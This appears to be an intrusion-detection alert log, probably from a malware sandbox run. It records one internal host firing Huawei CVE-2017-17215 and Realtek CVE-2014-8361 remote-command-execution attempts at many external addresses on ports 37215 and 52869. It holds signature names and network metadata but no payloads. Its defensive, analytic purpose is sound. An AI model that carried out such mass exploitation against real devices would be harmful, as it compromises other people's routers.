Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.202.30.34

Timestamp:	07/20/24-23:01:24.929013
SID:	2829579
Source Port:	36600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 75.199.56.180

Timestamp:	07/20/24-23:01:43.096223
SID:	2831300
Source Port:	48996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.124.94.237

Timestamp:	07/20/24-23:01:01.422220
SID:	2027339
Source Port:	44736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.72.210.161

Timestamp:	07/20/24-23:01:02.059312
SID:	2835222
Source Port:	44342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.3.82.5

Timestamp:	07/20/24-23:01:52.171350
SID:	2025132
Source Port:	44834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 32.132.194.251

Timestamp:	07/20/24-23:02:02.714716
SID:	2831300
Source Port:	43626
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.217.160.56

Timestamp:	07/20/24-23:01:55.125263
SID:	2027339
Source Port:	57470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.203.103.36

Timestamp:	07/20/24-23:01:44.137774
SID:	2025132
Source Port:	37142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 12.129.173.144

Timestamp:	07/20/24-23:01:42.611005
SID:	2831300
Source Port:	42480
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.16.71.7

Timestamp:	07/20/24-23:00:59.191389
SID:	2835222
Source Port:	43956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.71.206.186

Timestamp:	07/20/24-23:01:40.290002
SID:	2835222
Source Port:	34556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.212.158.191

Timestamp:	07/20/24-23:01:47.193367
SID:	2027339
Source Port:	34414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.135.71.210

Timestamp:	07/20/24-23:01:20.592479
SID:	2027339
Source Port:	53042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 38.189.198.237

Timestamp:	07/20/24-23:01:10.252357
SID:	2025132
Source Port:	45926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 171.231.69.230

Timestamp:	07/20/24-23:01:34.044717
SID:	2829579
Source Port:	51614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.42.114.149

Timestamp:	07/20/24-23:01:31.333070
SID:	2027339
Source Port:	56100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.138.19.167

Timestamp:	07/20/24-23:01:45.108909
SID:	2831300
Source Port:	56008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.157.174.11

Timestamp:	07/20/24-23:01:20.601040
SID:	2027339
Source Port:	34250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.232.226.131

Timestamp:	07/20/24-23:01:53.999179
SID:	2831300
Source Port:	43092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.70.248.184

Timestamp:	07/20/24-23:01:08.594120
SID:	2027339
Source Port:	58402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 158.118.231.218

Timestamp:	07/20/24-23:01:25.763318
SID:	2025132
Source Port:	46986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.139.90.241

Timestamp:	07/20/24-23:01:47.858878
SID:	2027339
Source Port:	54142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 19.154.207.41

Timestamp:	07/20/24-23:01:53.335084
SID:	2025132
Source Port:	57196
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.160.162.200

Timestamp:	07/20/24-23:01:49.660516
SID:	2027339
Source Port:	48318
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 171.216.201.201

Timestamp:	07/20/24-23:01:42.650744
SID:	2831300
Source Port:	56526
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 161.37.173.233

Timestamp:	07/20/24-23:01:20.144672
SID:	2829579
Source Port:	39608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.3.4.242

Timestamp:	07/20/24-23:01:47.297941
SID:	2027339
Source Port:	58120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 184.207.38.235

Timestamp:	07/20/24-23:01:41.909668
SID:	2831300
Source Port:	42420
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.194.155.21

Timestamp:	07/20/24-23:01:47.906061
SID:	2025132
Source Port:	34986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.90.235.184

Timestamp:	07/20/24-23:01:41.702437
SID:	2027339
Source Port:	36972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.71.4

Timestamp:	07/20/24-23:01:07.066373
SID:	2835222
Source Port:	60054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.92.179.211

Timestamp:	07/20/24-23:01:03.165362
SID:	2027339
Source Port:	60300
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 19.90.99.238

Timestamp:	07/20/24-23:01:51.172994
SID:	2831300
Source Port:	49444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 102.51.73.237

Timestamp:	07/20/24-23:01:44.340422
SID:	2025132
Source Port:	56000
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 67.15.208.48

Timestamp:	07/20/24-23:00:59.163619
SID:	2829579
Source Port:	38946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.133.200.251

Timestamp:	07/20/24-23:01:20.591862
SID:	2027339
Source Port:	58820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.235.141.174

Timestamp:	07/20/24-23:01:51.107223
SID:	2027339
Source Port:	36048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 107.86.91.27

Timestamp:	07/20/24-23:01:14.049603
SID:	2829579
Source Port:	35116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.196.138.54

Timestamp:	07/20/24-23:01:24.867858
SID:	2835222
Source Port:	48344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 82.63.31.170

Timestamp:	07/20/24-23:01:01.489542
SID:	2025132
Source Port:	44408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.151.178.3

Timestamp:	07/20/24-23:01:45.179680
SID:	2027339
Source Port:	53918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.125.71.143

Timestamp:	07/20/24-23:01:06.988055
SID:	2835222
Source Port:	46780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.119.197.238

Timestamp:	07/20/24-23:01:27.653586
SID:	2829579
Source Port:	39140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.195.20.9

Timestamp:	07/20/24-23:01:49.207937
SID:	2027339
Source Port:	38140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.243.218.95

Timestamp:	07/20/24-23:02:08.090583
SID:	2025132
Source Port:	33618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.215.252.1

Timestamp:	07/20/24-23:00:57.221570
SID:	2835222
Source Port:	43176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.119.169.7

Timestamp:	07/20/24-23:01:45.182071
SID:	2831300
Source Port:	35410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 128.17.186.62

Timestamp:	07/20/24-23:01:51.919746
SID:	2025132
Source Port:	53294
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 202.29.220.93

Timestamp:	07/20/24-23:02:02.509837
SID:	2025132
Source Port:	38436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.129.21.167

Timestamp:	07/20/24-23:01:40.296076
SID:	2829579
Source Port:	58716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.235.3.135

Timestamp:	07/20/24-23:01:41.323363
SID:	2025132
Source Port:	49010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.230.186.151

Timestamp:	07/20/24-23:01:49.525770
SID:	2027339
Source Port:	36520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.69.102.152

Timestamp:	07/20/24-23:01:41.405709
SID:	2027339
Source Port:	60722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.136.114.82

Timestamp:	07/20/24-23:01:53.963505
SID:	2027339
Source Port:	47468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.17.76.254

Timestamp:	07/20/24-23:02:01.320867
SID:	2025132
Source Port:	38554
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 176.234.87.122

Timestamp:	07/20/24-23:01:48.965786
SID:	2025132
Source Port:	41888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 210.6.211.62

Timestamp:	07/20/24-23:01:58.083668
SID:	2831300
Source Port:	39426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.133.161.207

Timestamp:	07/20/24-23:02:00.396073
SID:	2025132
Source Port:	52322
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 38.183.196.72

Timestamp:	07/20/24-23:01:44.318262
SID:	2025132
Source Port:	47538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.208.23.95

Timestamp:	07/20/24-23:01:44.825081
SID:	2027339
Source Port:	58076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.59.54.38

Timestamp:	07/20/24-23:01:43.030153
SID:	2027339
Source Port:	35806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.224.157.32

Timestamp:	07/20/24-23:01:40.321300
SID:	2835222
Source Port:	55554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.148.71.209

Timestamp:	07/20/24-23:01:08.693187
SID:	2027339
Source Port:	60750
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.3.232.51

Timestamp:	07/20/24-23:01:47.443306
SID:	2027339
Source Port:	51260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.147.196.56

Timestamp:	07/20/24-23:01:02.046626
SID:	2829579
Source Port:	54504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.118.116.115

Timestamp:	07/20/24-23:01:43.107634
SID:	2027339
Source Port:	45970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 200.222.88.102

Timestamp:	07/20/24-23:01:51.275864
SID:	2831300
Source Port:	42096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 203.201.15.112

Timestamp:	07/20/24-23:00:57.221017
SID:	2829579
Source Port:	59050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.182.86.76

Timestamp:	07/20/24-23:01:14.097795
SID:	2829579
Source Port:	40992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.155.204.151

Timestamp:	07/20/24-23:01:42.592141
SID:	2027339
Source Port:	53584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.223.190.191

Timestamp:	07/20/24-23:01:58.995803
SID:	2831300
Source Port:	34792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.190.148.15

Timestamp:	07/20/24-23:01:08.691384
SID:	2027339
Source Port:	47380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 73.152.115.130

Timestamp:	07/20/24-23:01:45.933453
SID:	2831300
Source Port:	33282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.241.155.67

Timestamp:	07/20/24-23:01:08.621030
SID:	2027339
Source Port:	49174
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.224.26.246

Timestamp:	07/20/24-23:01:00.641803
SID:	2829579
Source Port:	47368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 211.69.194.148

Timestamp:	07/20/24-23:01:23.872117
SID:	2027339
Source Port:	46058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.14.7.167

Timestamp:	07/20/24-23:01:59.300183
SID:	2027339
Source Port:	34640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.232.66.29

Timestamp:	07/20/24-23:01:06.988055
SID:	2835222
Source Port:	39754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.164.129.53

Timestamp:	07/20/24-23:01:43.305781
SID:	2025132
Source Port:	50004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 76.8.56.105

Timestamp:	07/20/24-23:01:45.599519
SID:	2027339
Source Port:	49644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 137.133.156.16

Timestamp:	07/20/24-23:01:46.261793
SID:	2831300
Source Port:	39266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 118.179.102.207

Timestamp:	07/20/24-23:01:53.258882
SID:	2025132
Source Port:	48378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.17.239.28

Timestamp:	07/20/24-23:01:59.745622
SID:	2027339
Source Port:	55122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 147.69.83.159

Timestamp:	07/20/24-23:01:04.631848
SID:	2025132
Source Port:	59006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.114.117.243

Timestamp:	07/20/24-23:00:59.172943
SID:	2829579
Source Port:	44106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.98.109.98

Timestamp:	07/20/24-23:01:04.165954
SID:	2027339
Source Port:	45156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.126.20.80

Timestamp:	07/20/24-23:00:59.148144
SID:	2835222
Source Port:	45076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.208.1.181

Timestamp:	07/20/24-23:01:49.040108
SID:	2027339
Source Port:	35238
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 141.211.193.35

Timestamp:	07/20/24-23:01:41.534135
SID:	2025132
Source Port:	46008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.68.112.71

Timestamp:	07/20/24-23:01:02.055683
SID:	2829579
Source Port:	58124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.83.244.58

Timestamp:	07/20/24-23:01:42.702732
SID:	2027339
Source Port:	44592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 66.164.253.202

Timestamp:	07/20/24-23:01:31.316196
SID:	2831300
Source Port:	36560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.128.110.44

Timestamp:	07/20/24-23:00:59.213564
SID:	2829579
Source Port:	58330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.37.83.56

Timestamp:	07/20/24-23:01:41.605496
SID:	2025132
Source Port:	44080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.116.61.223

Timestamp:	07/20/24-23:01:42.297644
SID:	2831300
Source Port:	33012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 169.80.181.136

Timestamp:	07/20/24-23:01:46.629075
SID:	2025132
Source Port:	36186
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.183.64.132

Timestamp:	07/20/24-23:01:40.321300
SID:	2835222
Source Port:	60714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 25.19.64.41

Timestamp:	07/20/24-23:01:00.640312
SID:	2829579
Source Port:	60452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.64.201.235

Timestamp:	07/20/24-23:01:50.147840
SID:	2027339
Source Port:	59216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

